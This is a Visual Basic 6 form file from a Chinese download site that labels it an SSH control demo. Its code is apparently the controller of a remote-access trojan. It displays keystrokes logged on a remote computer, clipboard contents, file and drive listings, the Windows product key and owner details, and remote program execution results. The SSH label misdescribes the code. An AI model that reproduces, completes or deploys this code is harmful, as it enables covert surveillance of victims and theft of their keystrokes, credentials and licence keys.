⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 frmpass.frm

📁 用VB调用SSH控件
💻 FRM
📖 第 1 页 / 共 3 页
字号:
    End If
    
     If Left(Data, 6) = "sorry2" Then
    
    Set itwms = FrmMain.ListView4.ListItems.Add(, , "你的权限不够运行" & FrmMain.TextDirectory.Text & FrmMain.ListView2.SelectedItem.Text)
     itwms.SubItems(1) = Date
     itwms.SubItems(2) = Time
     itwms.SubItems(3) = "权限不够"
    End If
    
    If Left(Data, 12) = "[DRIVE LIST]" Then
        Data = Right(Data, Len(Data) - 12)
        GetLine = 0
        LastLine = 1
        For m = 1 To Len(Data)
            ChrState = Mid(Data, m, 1)
            If ChrState = Chr(0) Or m = 1 Then
                Select Case GetLine
                    Case 0:
                        DriveListCount = CLng(Mid(Data, 1, InStr(1, Data, Chr(0)))): LastLine = InStr(1, Data, Chr(0))
                    Case Is <> 0:
                        If GetLine < DriveListCount Then
                            'FrmMain.ListView2.ListItems.Add , , Mid(Data, GetLine + LastLine - (GetLine - 1), InStr(LastLine + 1, Data, Chr(0))), 3, 3
                            FrmMain.Combo2.AddItem Mid(Data, GetLine + LastLine - (GetLine - 1), InStr(LastLine + 1, Data, Chr(0)))
                            LastLine = InStr(LastLine + 1, Data, Chr(0))
                        Else
                            'FrmMain.ListView2.ListItems.Add , , Mid(Data, GetLine + LastLine - (GetLine - 1), Len(Data) - GetLine + LastLine - (GetLine - 1)), 3, 3
                             FrmMain.Combo2.AddItem Mid(Data, GetLine + LastLine - (GetLine - 1), Len(Data) - GetLine + LastLine - (GetLine - 1))
                        End If
                End Select
                GetLine = GetLine + 1
            End If
        Next m
    End If
    
    If Left(Data, 1) = "A" Then
        StoredData(CLng(Mid(Data, 2, 1))) = Mid(Data, 3, Len(Data) - 2)
    End If
        
    
    If Left(Data, 10) = "[FILE ADD]" Then
        FrmMain.ListView2.ListItems.Clear
        
        Data = Chr(0)
        For m = 0 To 10
            Data = Data & StoredData(m)
        Next m
        GetLine = 0
        LastLine = 1
        For m = 1 To Len(Data)
            ChrState = Mid(Data, m, 1)
            If ChrState = Chr(0) Then
                If GetLine = 0 Then
                    FrmMain.ListView2.ListItems.Add , , Mid(Data, GetLine + LastLine - (GetLine - 1) - 1, Len(Data) - GetLine + LastLine - (GetLine - 1) - 1)
                    'FrmMain.ListView1.ListItems.Add , , Mid(Data, GetLine + LastLine - (GetLine - 1) - 1, Len(Data) - GetLine + LastLine - (GetLine - 1) - 1)
                Else
                    If Left(FrmMain.ListView2.ListItems.Item(1).Text, 1) = "" Then
                        FrmMain.ListView2.ListItems.Item(1).Text = Mid(Data, GetLine + LastLine - (GetLine - 1), Len(Data) - GetLine + LastLine - (GetLine - 1))
                        'FrmMain.ListView1.ListItems.Add , , Mid(Data, GetLine + LastLine - (GetLine - 1) - 1, Len(Data) - GetLine + LastLine - (GetLine - 1) - 1)
                    Else
                        FrmMain.ListView2.ListItems.Add , , Mid(Data, GetLine + LastLine - (GetLine - 1), Len(Data) - GetLine + LastLine - (GetLine - 1))
                        'FrmMain.ListView1.ListItems.Add , , Mid(Data, GetLine + LastLine - (GetLine - 1) - 1, Len(Data) - GetLine + LastLine - (GetLine - 1) - 1)
                    End If
                End If
                LastLine = InStr(LastLine + 1, Data, Chr(0))
                GetLine = GetLine + 1
            End If
        Next m
    End If
    

    If Left(Data, 10) = "[FOLD ADD]" Then
        FrmMain.ListView1.ListItems.Clear
        Data = Chr(0)
        For m = 0 To 10
            Data = Data & StoredData(m)
        Next m
        GetLine = 0
        LastLine = 1
        For m = 1 To Len(Data)
            ChrState = Mid(Data, m, 1)
            If ChrState = Chr(0) Then
                If GetLine = 0 Then
                    FrmMain.ListView1.ListItems.Add , , Mid(Data, GetLine + LastLine - (GetLine - 1) - 1, Len(Data) - GetLine + LastLine - (GetLine - 1) - 1)
                Else
                    If Left(FrmMain.ListView2.ListItems.Item(1).Text, 1) = "" Then
                        FrmMain.ListView1.ListItems.Item(1).Text = Mid(Data, GetLine + LastLine - (GetLine - 1), Len(Data) - GetLine + LastLine - (GetLine - 1))
                    Else
                        FrmMain.ListView1.ListItems.Add , , Mid(Data, GetLine + LastLine - (GetLine - 1), Len(Data) - GetLine + LastLine - (GetLine - 1))
                    End If
                End If
                LastLine = InStr(LastLine + 1, Data, Chr(0))
                GetLine = GetLine + 1
            End If
        Next m
    End If
    
    
    If Left(Data, 11) = "[FOLD LIST]" Then
        FrmMain.ListView1.ListItems.Clear
        Data = Right(Data, Len(Data) - 12)
        GetLine = 0
        LastLine = 1
        For m = 1 To Len(Data)
            ChrState = Mid(Data, m, 1)
            If ChrState = Chr(0) And Mid(Data, GetLine + LastLine - (GetLine - 1), Len(Data) - GetLine + LastLine - (GetLine - 1)) <> "" Then
                If GetLine = 0 Then
                    FrmMain.ListView1.ListItems.Add , , Mid(Data, GetLine + LastLine - (GetLine - 1) - 1, Len(Data) - GetLine + LastLine - (GetLine - 1) - 1), 1, 1
                
                Else
                    FrmMain.ListView1.ListItems.Add , , Mid(Data, GetLine + LastLine - (GetLine - 1), Len(Data) - GetLine + LastLine - (GetLine - 1)), 1, 1
                End If
                LastLine = InStr(LastLine + 1, Data, Chr(0))
                GetLine = GetLine + 1
            End If
        Next m
    End If
    
    
    
    
  
    If Left(Data, 11) = "[FILE LIST]" Then
        FrmMain.ListView2.ListItems.Clear
        Data = Right(Data, Len(Data) - 12)
        GetLine = 0
        LastLine = 1
        For m = 1 To Len(Data)
            ChrState = Mid(Data, m, 1)
            If ChrState = Chr(0) And Mid(Data, GetLine + LastLine - (GetLine - 1), Len(Data) - GetLine + LastLine - (GetLine - 1)) <> "" Then
                If GetLine = 0 Then
                    FrmMain.ListView2.ListItems.Add , , Mid(Data, GetLine + LastLine - (GetLine - 1) - 1, Len(Data) - GetLine + LastLine - (GetLine - 1) - 1)
                    
                    FileType = ""
                    For n = 1 To Len(FrmMain.ListView2.ListItems.Item(1).Text)
                        GetChr0 = Right(FrmMain.ListView2.ListItems.Item(1).Text, n)
                        GetChr1 = Left(GetChr0, 1)
                        If GetChr1 = "." Then
                            FileType = GetStringValue("HKEY_CLASSES_ROOT\" & "." & Right(FrmMain.ListView2.ListItems.Item(1).Text, n - 1), "")
                            If FileType = "" Then FileType = UCase(Right(FrmMain.ListView2.ListItems.Item(1).Text, n - 1)) & " FILE"
                            Exit For
                        End If
                    Next n
                    
                    FrmMain.ListView2.ListItems.Item(1).SubItems(1) = FileType
                Else
                    FrmMain.ListView2.ListItems.Add , , Mid(Data, GetLine + LastLine - (GetLine - 1), Len(Data) - GetLine + LastLine - (GetLine - 1))
                    
                    FileType = ""
                    For n = 1 To Len(FrmMain.ListView2.ListItems.Item(GetLine + 1).Text)
                        GetChr0 = Right(FrmMain.ListView2.ListItems.Item(GetLine + 1).Text, n)
                        GetChr1 = Left(GetChr0, 1)
                        If GetChr1 = "." Then
                            FileType = GetStringValue("HKEY_CLASSES_ROOT\" & "." & Right(FrmMain.ListView2.ListItems.Item(GetLine + 1).Text, n - 1), "")
                            If FileType = "" Then FileType = UCase(Right(FrmMain.ListView2.ListItems.Item(GetLine + 1).Text, n - 1)) & " FILE"
                            Exit For
                        End If
                    Next n
                    FrmMain.ListView2.ListItems.Item(GetLine + 1).SubItems(1) = FileType
                End If
                LastLine = InStr(LastLine + 1, Data, Chr(0))
                GetLine = GetLine + 1
            End If
        Next m
    End If
        
 
    If Left(Data, 6) = "[FSAA]" Then
        Data = Right(Data, Len(Data) - 6)
        GetLine = 0
        LastLine = 1
        For m = 1 To Len(Data)
            ChrState = Mid(Data, m, 1)
            If ChrState = Chr(0) And Mid(Data, GetLine + LastLine - (GetLine - 1), Len(Data) - GetLine + LastLine - (GetLine - 1)) <> "" Then
                If GetLine = 0 Then
                    FrmMain.ListView2.ListItems.Item(1).SubItems(2) = FormatKB(CLng(Mid(Data, GetLine + LastLine - (GetLine - 1), Len(Data) - GetLine + LastLine - (GetLine - 1))))
                Else
                    FrmMain.ListView2.ListItems.Item(GetLine + 1).SubItems(2) = FormatKB(CLng(Mid(Data, GetLine + LastLine - (GetLine - 1), Len(Data) - GetLine + LastLine - (GetLine - 1))))
                End If
                LastLine = InStr(LastLine + 1, Data, Chr(0))
                GetLine = GetLine + 1
            End If
        Next m
    End If
    
    
    
    If Left(Data, 1) = "M" Then
        Select Case Mid(Data, 2, 1)
           ' Case 0: MsgBox Mid(Data, 3, Len(Data) - 2), vbOKOnly, "Message"
           ' Case 1: MsgBox Mid(Data, 3, Len(Data) - 2), vbQuestion, "Message"
           ' Case 2: MsgBox Mid(Data, 3, Len(Data) - 2), vbInformation, "Message"
           ' Case 3: MsgBox Mid(Data, 3, Len(Data) - 2), vbExclamation, "Message"
           ' Case 4: MsgBox Mid(Data, 3, Len(Data) - 2), vbCritical, "Message"
        End Select
    End If
    
    If Left(Data, 1) = Chr(0) Then TextKeyLog.Text = TextKeyLog.Text & Mid(Data, 2, Len(Data) - 1)
    If Left(Data, 3) = "00B" Then If Len(TextKeyLog) > 0 Then TextKeyLog.Text = Left(TextKeyLog, Len(TextKeyLog) - 1)
    If Left(Data, 3) = "NL0" Then TextKeyLog.Text = TextKeyLog.Text & vbNewLine 'vbCrLf
    
    If Left(Data, 5) = "[ESC]" Then TextKeyLog.Text = TextKeyLog.Text & "[ESC]"
    If Left(Data, 5) = "[TAB]" Then TextKeyLog.Text = TextKeyLog.Text & "[TAB]"
    If Left(Data, 6) = "[FKEY]" Then TextKeyLog.Text = TextKeyLog.Text & Mid(Data, 7, Len(Data) - 6)
    If Left(Data, 7) = "[ENTER]" Then TextKeyLog.Text = TextKeyLog.Text & "[ENTER]"
    
    TextKeyLog.SelStart = Len(TextKeyLog.Text)
    
    Select Case Left$(Data, 3)
        Case "000": '
        Case "001":
            KeyBoardType.Text = Mid(Data, 4, Len(Data) - 3)
        Case "002":
            ChrBlinkRate.Text = Mid(Data, 4, Len(Data) - 3)
        Case "003":
            DoubleClickRate.Text = Mid(Data, 4, Len(Data) - 3)
        Case "004":
            If Mid(Data, 4, Len(Data) - 3) = "1" Then
                MsgBox "Sound card exists on remote computer.", vbInformation, "Sound card check"
            Else
                MsgBox "No sound card exists on remote computer.", vbInformation, "Sound card check"
            End If
        Case "005": '
        Case "006": '
        Case "007":
            TextGetValue.Text = Mid(Data, 4, Len(Data) - 3)
        Case "008":
            TextGetValue.Text = Mid(Data, 4, Len(Data) - 3)
        Case "009":
            TextGetValue.Text = Mid(Data, 4, Len(Data) - 3)
        Case "010": '
        Case "011": '
        Case "012": '
        Case "013": 'Add to new version
        Case "014":
            MouseXPos.Text = Mid(Data, 4, Len(Data) - 3)
        Case "015":
            MouseYPos.Text = Mid(Data, 4, Len(Data) - 3)
        Case "016": '
        Case "017": '
        Case "018": '
        Case "019":
            Data = Right(Data, Len(Data) - 3)
            MsgBox "The specified file (" & ExecPath & ") is (" & Data & ") as an executable on remote address.", vbInformation, "File exec Request"
        Case "020":
            For m = 1 To Len(Mid(Data, 4, Len(Data) - 3))
                If Mid(Mid(Data, 4, Len(Data) - 3), m, 1) = Chr(0) Then
                    TextWindowName.Text = Mid(Data, 4, Len(Data) - 4 - Len(Right(Data, Len(Mid(Data, 4, Len(Data) - 3)) - m)))
                    ClassWindowName.Text = Right(Data, Len(Mid(Data, 4, Len(Data) - 3)) - m)
                    If TextWindowName.Text = "" And ClassWindowName.Text = "" Then MsgBox "Could not find window in specified Hwnd.", vbInformation, "Hwnd Window finder"
                    Exit For
                End If
            Next m
        Case "021":
            TextClipBoard.Text = Mid(Data, 4, Len(Data) - 3)
        Case "022": 'Add to new version
        Case "023":
            Data = Right(Data, Len(Data) - 3)
            GetLine = 0
            LastLine = 1
            For m = 1 To Len(Data)
                ChrState = Mid(Data, m, 1)
                If ChrState = Chr(0) Or m = 1 Then
                    Select Case GetLine
                        Case 0: TextComputerInfo.Text = TextComputerInfo.Text & "Product ID: " & Mid(Data, 1, InStr(1, Data, Chr(0))): LastLine = InStr(1, Data, Chr(0))
                        Case 1: TextComputerInfo.Text = TextComputerInfo.Text & vbNewLine & "Product Key: " & Mid(Data, GetLine + LastLine, InStr(LastLine + 1, Data, Chr(0))): LastLine = InStr(LastLine + 1, Data, Chr(0))
                        Case 2: TextComputerInfo.Text = TextComputerInfo.Text & vbNewLine & "Product Name: " & Mid(Data, GetLine + LastLine - (GetLine - 1), InStr(LastLine + 1, Data, Chr(0))): LastLine = InStr(LastLine + 1, Data, Chr(0))
                        Case 3: TextComputerInfo.Text = TextComputerInfo.Text & vbNewLine & "Program files Directory: " & Mid(Data, GetLine + LastLine - (GetLine - 1), InStr(LastLine + 1, Data, Chr(0))): LastLine = InStr(LastLine + 1, Data, Chr(0))
                        Case 4: TextComputerInfo.Text = TextComputerInfo.Text & vbNewLine & "Organisation: " & Mid(Data, GetLine + LastLine - (GetLine - 1), InStr(LastLine + 1, Data, Chr(0))): LastLine = InStr(LastLine + 1, Data, Chr(0))
                        Case 5: TextComputerInfo.Text = TextComputerInfo.Text & vbNewLine & "Owner: " & Mid(Data, GetLine + LastLine - (GetLine - 1), InStr(LastLine + 1, Data, Chr(0))): LastLine = InStr(LastLine + 1, Data, Chr(0))
                        Case 6: TextComputerInfo.Text = TextComputerInfo.Text & vbNewLine & "System root: " & Mid(Data, GetLine + LastLine - (GetLine - 1), InStr(LastLine + 1, Data, Chr(0))): LastLine = InStr(LastLine + 1, Data, Chr(0))
                        Case 7: TextComputerInfo.Text = TextComputerInfo.Text & vbNewLine & "Version: " & Mid(Data, GetLine + LastLine - (GetLine - 1), InStr(LastLine + 1, Data, Chr(0))): LastLine = InStr(LastLine + 1, Data, Chr(0))
                        Case 8: TextComputerInfo.Text = TextComputerInfo.Text & vbNewLine & "Version Number: " & Mid(Data, GetLine + LastLine - (GetLine - 1), InStr(LastLine + 1, Data, Chr(0))): LastLine = InStr(LastLine + 1, Data, Chr(0))
                        Case 9: TextComputerInfo.Text = TextComputerInfo.Text & vbNewLine & "Device Directory: " & Mid(Data, GetLine + LastLine - (GetLine - 1), InStr(LastLine + 1, Data, Chr(0))): LastLine = InStr(LastLine + 1, Data, Chr(0))
                        Case 10: TextComputerInfo.Text = TextComputerInfo.Text & vbNewLine & "Configuration Directory: " & Mid(Data, GetLine + LastLine - (GetLine - 1), InStr(LastLine + 1, Data, Chr(0))): LastLine = InStr(LastLine + 1, Data, Chr(0))
                        Case 11: TextComputerInfo.Text = TextComputerInfo.Text & vbNewLine & "Commom files Directory: " & Mid(Data, GetLine + LastLine - (GetLine - 1), InStr(LastLine + 1, Data, Chr(0))): LastLine = InStr(LastLine + 1, Data, Chr(0))
                        Case 12: TextComputerInfo.Text = TextComputerInfo.Text & vbNewLine & "Media Directory: " & Mid(Data, GetLine + LastLine - (GetLine - 1), InStr(LastLine + 1, Data, Chr(0))): LastLine = InStr(LastLine + 1, Data, Chr(0))
                        Case 13: TextComputerInfo.Text = TextComputerInfo.Text & vbNewLine & "Other Device Directory: " & Mid(Data, GetLine + LastLine - (GetLine - 1), Len(Data) - GetLine + LastLine - (GetLine - 1)): LastLine = InStr(LastLine + 1, Data, Chr(0))
                    End Select
                    GetLine = GetLine + 1
                End If
            Next m
       
        
    End Select
    
    Exit Sub
    
FinaliseError:
    
    Exit Sub
End Sub

Private Sub WinSockCtl_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)
WinSockCtl.Close
FrmMain.Caption = "SSH demo "
End Sub

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -